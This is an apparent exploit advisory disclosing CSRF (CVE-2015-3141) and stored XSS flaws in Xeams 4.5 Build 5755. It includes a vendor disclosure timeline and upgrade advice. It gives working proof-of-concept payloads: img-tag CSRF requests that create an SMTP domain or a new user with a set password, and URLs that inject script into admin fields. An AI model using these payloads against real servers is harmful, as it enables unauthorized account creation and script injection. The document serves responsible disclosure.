Reporter Marlow Tannhauser
`# Exploit Title: Multiple vulnerabilities in Xeams 4.5 Build 5755 (CSRF/Stored XSS)
# Date: 07-05-2015
# Exploit Author: Marlow Tannhauser
# Contact: firstname.lastname@example.org
# Vendor Homepage: http://www.synametrics.com
# Software Link: http://web.synametrics.com/XeamsDownload.htm
# Version: 4.5 Build 5755. Earlier versions may also be affected.
# CVE: 2015-3141 (Xeams)
# Category: Web apps
# DISCLOSURE TIMELINE #
08/02/2015: Initial disclosure to vendor and CERT
09/02/2015: Acknowledgment of vulnerabilities from vendor
11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor
19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request
09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request
20/04/2015: Confirmation of fix from vendor
Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage. Note also that this is a different vulnerability from CVE 2012-2569.
# EXPLOIT DESCRIPTION #
Xeams 4.5 Build 5755 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.
# POC 1 #
The following PoC uses the CSRF vulnerability to create a new SMTP domain in the application, and combines it with one of the stored XSS vulnerabilities.
<img src="http://192.168.0.8:5272/FrontController?domainname=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&operation=160" alt="" width="1" height="1">
# POC 2 #
The following PoC uses the CSRF vulnerability to create a new user with the details shown.
<img src="http://192.168.1.67:5272/FrontController?txtEmailemail@example.com&txtPwd=marlow&txtPwd1=marlow&chkActivate=on&chkNotify=on&reportTime_0=0&reportTime_1=- 1&reportTime_2=- 1&reportTime_3=- 1&reportTime_4=- 1&chkServerHost=192.168.1.67&SaveAndClose=Save&operation=504" alt="" width="1" height="1">
# STORED XSS VULNERABILITIES #
Stored XSS vulnerabilities are present in the following fields:
Server Configuration > SMTP Configuration > Domain Configuration > New domain name field
Example URL: http://192.168.0.8:5272/FrontController?domainname=%3Cscript%3Ealert%28%22ONE%22%29%3C%2Fscript%3E&operation=160#tab2
Server Configuration > Manage Forwarders > Add a new forwarder > Recipient's address
Example URL: http://192.168.0.8:5272/FrontController?txtRecipient=%3Cscript%3Ealert%28%22THREE%22%29%3C%2Fscript%3E&txtIPAddress=127.0.0.1&chkGoodOnly=on&operation=130
Server Configuration > Manage POP3 Fetcher > New Account > POP3 Server field, User Name field, and Recipient field
Example URL: http://192.168.0.8:5272/FrontController?popFetchServer=%3Cscript%3Ealert%28%22XSS1%22%29%3C%2Fscript%3E&popFetchUser=%3Cscript%3Ealert%28%22XSS2%22%29%3C%2Fscript%3E&popFetchPwd=password&popFetchRecipient=%3Cscript%3Ealert%28%22XSS3%22%29%3C%2Fscript%3E&popFetchCount=0&operation=73&index=-1
Server Configuration > Server Configuration > Advanced Configuration > Smtp HELO domain [XSS is displayed in Tools > About Xeams]
Example URL: POST request
# MITIGATION #
Upgrade to the latest build of Xeams, available from the link shown.